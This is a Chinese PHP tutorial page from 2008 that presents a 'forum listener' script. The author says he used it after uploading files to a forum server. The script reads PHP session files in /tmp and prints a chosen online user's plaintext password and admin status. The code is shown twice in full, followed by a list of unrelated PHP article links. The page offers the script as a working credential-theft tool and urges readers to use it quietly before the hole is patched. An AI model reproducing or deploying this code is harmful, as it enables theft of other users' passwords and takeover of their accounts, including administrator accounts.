php查看session內(nèi)容的函數(shù)
更新時(shí)間：2008年08月27日 12:57:56 作者：
之所以是能寫出來這個(gè)函數(shù)，主要是對(duì)該網(wǎng)站的session結(jié)構(gòu)清楚
如：name|s:4:"tasm";passwd|s:6:"111111";mode|s:1:"1"，也知道該session存放的位置，而且可以上傳文件，所以嘛，當(dāng)時(shí)就做了一次小小的黑客，在線的朋友的密碼可以一覽無余，呵呵：
<?
function submit1(){
global $username;
print "<title>論壇監(jiān)聽器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧？連我你也查？";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用戶筆名:".$name[2]."<br>使用密碼:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理員</font>";
else
print "一般用戶";
print"<br><br>偷竊他人密碼是不道德行為請(qǐng)少少為之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用戶:".$username."真的在線嗎？如你確定，<a href='javascript:history.go(-1)'>請(qǐng)?jiān)賮硪淮?lt;/a>，不要多打空格！";
$d->close();
}
function login(){
?>
<html>
<head>
<title>論壇監(jiān)聽器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>論壇監(jiān)聽器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">當(dāng)你看到一用戶在線時(shí)你想看他的密碼，你要如何作呢？</td>
</tr>
<tr>
<td colspan="2">讓我來告訴你：就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>鄭重申明:本程序?yàn)樽杂沙绦?，由它所造成的任何損失本人蓋不負(fù)責(zé)。</font>
<br>不過這個(gè)問題也許很快就會(huì)被堵上,個(gè)位還是不要張揚(yáng)的偷著用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>請(qǐng)輸入你要查的用戶名：<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,開始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>
<?
function submit1(){
global $username;
print "<title>論壇監(jiān)聽器</title>";
$i=0;
if($username=="tasm"||$username=="Tasm")
{
print "你也太黑了吧？連我你也查？";
return;
}
$path="/tmp/";
$d = dir($path);
while($entry=$d->read()){
if(substr($entry,0,4)=="sess"){
$entry=$path.$entry;
$ary=@file($entry);
if(!empty($ary[0])){
$ary = explode(";",$ary[0]);
$name= explode(":",$ary[0]);
if($name[2]=="\"".$username."\""){
$passwd= explode(":",$ary[1]);
$mode=explode(":",$ary[3]);
print "用戶筆名:".$name[2]."<br>使用密碼:".$passwd[2]."<br>使用模式:";
if($mode[1]==1)
print "<font color=red>管理員</font>";
else
print "一般用戶";
print"<br><br>偷竊他人密碼是不道德行為請(qǐng)少少為之<br>";
$i=1;
break;
}}}}
if(!$i)
print "用戶:".$username."真的在線嗎？如你確定，<a href='javascript:history.go(-1)'>請(qǐng)?jiān)賮硪淮?lt;/a>，不要多打空格！";
$d->close();
}
function login(){
?>
<html>
<head>
<title>論壇監(jiān)聽器</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<div align="center">
<p>論壇監(jiān)聽器 </p>
<p> </p>
<table width="500" border="0" cellspacing="0" cellpadding="0">
<tr>
<td colspan="2">當(dāng)你看到一用戶在線時(shí)你想看他的密碼，你要如何作呢？</td>
</tr>
<tr>
<td colspan="2">讓我來告訴你：就是使用本程序。</td>
</tr>
<tr>
<td colspan="2"><font color=red>鄭重申明:本程序?yàn)樽杂沙绦?，由它所造成的任何損失本人蓋不負(fù)責(zé)。</font>
<br>不過這個(gè)問題也許很快就會(huì)被堵上,個(gè)位還是不要張揚(yáng)的偷著用吧。</td>
</tr>
</table>
<form name="form1" method="post" action="<?print $PHP_SELF ?>" >
<p>請(qǐng)輸入你要查的用戶名：<br>
<input type="text" name="username">
</p>
<p>
<input type="submit" name="submit1" value="我同意以上申明,開始查找">
</p>
</form>
<p> </p>
</div>
</body>
</html>
<?
}
//--------------main()
if($submit1)
submit1();
else
login();
?>
您可能感興趣的文章:
- PHP Session_Regenerate_ID函數(shù)雙釋放內(nèi)存破壞漏洞
- 解析php session_set_save_handler 函數(shù)的用法(mysql)
- 注意:php5.4刪除了session_unregister函數(shù)
- php5.3 不支持 session_register() 此函數(shù)已啟用的解決方法
- php使用$_POST或$_SESSION[]向js函數(shù)傳參
- php中使用session_set_save_handler()函數(shù)把session保存到MySQL數(shù)據(jù)庫(kù)實(shí)例
- php中session_id()函數(shù)詳細(xì)介紹,會(huì)話id生成過程及session id長(zhǎng)度
- PHP session 會(huì)話處理函數(shù)
相關(guān)文章
淺析PHP程序防止ddos,dns,集群服務(wù)器攻擊的解決辦法
本篇文章是對(duì)PHP程序防止ddos,dns,集群服務(wù)器攻擊的解決辦法進(jìn)行了詳細(xì)的分析介紹，需要的朋友參考下2013-06-06
這篇文章主要介紹了PHP異常處理定義與使用方法,較為詳細(xì)的分析了php異常處理的定義、使用方法及相關(guān)注意事項(xiàng),需要的朋友可以參考下2017-07-07
PHP的反射動(dòng)態(tài)獲取類方法、屬性、參數(shù)操作示例
這篇文章主要介紹了PHP的反射動(dòng)態(tài)獲取類方法、屬性、參數(shù)操作,結(jié)合實(shí)例形式分析了PHP反射的功能、原理及基于反射動(dòng)態(tài)獲取類方法、屬性、參數(shù)相關(guān)操作技巧,需要的朋友可以參考下2020-03-03
這篇文章主要介紹了php刪除指定目錄的方法,涉及php遞歸刪除目錄的技巧,非常具有實(shí)用價(jià)值,需要的朋友可以參考下2015-04-04
PHP函數(shù)用法詳解【初始化、嵌套、內(nèi)置函數(shù)等】
這篇文章主要介紹了PHP函數(shù)用法,結(jié)合實(shí)例形式詳細(xì)分析了PHP函數(shù)初始化、嵌套、內(nèi)置函數(shù)等相關(guān)定義、原理與操作注意事項(xiàng),需要的朋友可以參考下2020-06-06
這篇文章主要介紹了PHP批量生成圖片縮略圖的方法,涉及php針對(duì)圖片屬性操作的相關(guān)技巧,需要的朋友可以參考下2015-06-06
關(guān)于PHP數(shù)組迭代器的使用方法實(shí)例
在PHP的日常操作中,數(shù)組是最常出現(xiàn)的結(jié)構(gòu),而我們幾乎每天都在處理數(shù)組相關(guān)的內(nèi)容,這篇文章主要給大家介紹了關(guān)于PHP數(shù)組迭代器的使用方法,需要的朋友可以參考下2021-11-11
在本篇文章中我們給大家分享了關(guān)于php的數(shù)據(jù)類型相關(guān)知識(shí)點(diǎn)內(nèi)容，有需要的朋友們參考學(xué)習(xí)下。2018-10-10
頁面緩存指的是在服務(wù)器端緩存整個(gè)頁面的內(nèi)容。隨后當(dāng)同一個(gè)頁面 被請(qǐng)求時(shí)，內(nèi)容將從緩存中取出，而不是重新生成。下面這篇文章主要給大家介紹了關(guān)于Yii2.0如何使用頁面緩存的相關(guān)資料，需要的朋友可以參考下。2017-05-05
php實(shí)現(xiàn)Mysql簡(jiǎn)易操作類
這個(gè)PHP實(shí)現(xiàn)的mysql的操作類完整版已經(jīng)使用過了，而這個(gè)簡(jiǎn)化版是經(jīng)過修改完整版后的簡(jiǎn)化版，適用在一般的 PHP 應(yīng)用中，功能上可以實(shí)現(xiàn)基本的增刪改查的操作，以及打印 MYSQL 錯(cuò)誤，自我感覺不錯(cuò)，如果網(wǎng)站應(yīng)用不是很強(qiáng)大，應(yīng)用這個(gè) MYSQL 的操作類已經(jīng)足夠了，2015-10-10